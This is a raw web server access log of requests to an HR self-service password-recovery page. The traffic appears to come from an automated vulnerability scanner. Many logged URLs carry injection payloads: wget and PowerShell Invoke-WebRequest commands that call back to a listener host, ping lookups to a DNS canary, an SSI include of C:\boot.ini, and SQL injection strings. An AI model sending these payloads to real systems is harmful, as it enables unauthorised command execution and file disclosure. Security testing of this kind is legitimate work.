/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%uFF07 HTTP/1.1" 200 6681 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%uFF07 HTTP/1.1" 200 6681 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%22&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%22&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%22&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D122+%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D122+%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D124%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D124%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS' HTTP/1.1" 200 6676 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS' HTTP/1.1" 200 6676 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3E%28ping+-c+1+v3-ping-126-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3E%28ping+-c+1+v3-ping-126-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=HCL4ppsc4nbuggyRandomValue&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=HCL4ppsc4nbuggyRandomValue&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D129+%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D129+%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\" HTTP/1.1" 200 6681 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\" HTTP/1.1" 200 6681 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D131%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D131%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3C%28ping+-c+1+v3-ping-133-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3C%28ping+-c+1+v3-ping-133-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=HCL4ppsc4nbuggyRandomValue&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D135%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D135%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%3C%21--%23include+file%3D%22C%3A%5Cboot.ini%22--%3E&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%3C%21--%23include+file%3D%22C%3A%5Cboot.ini%22--%3E&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+having+1%3D1-- HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+having+1%3D1-- HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%29%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D138%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%29%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D138%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%24%28ping+-c+1+v3-ping-139-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%24%28ping+-c+1+v3-ping-139-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 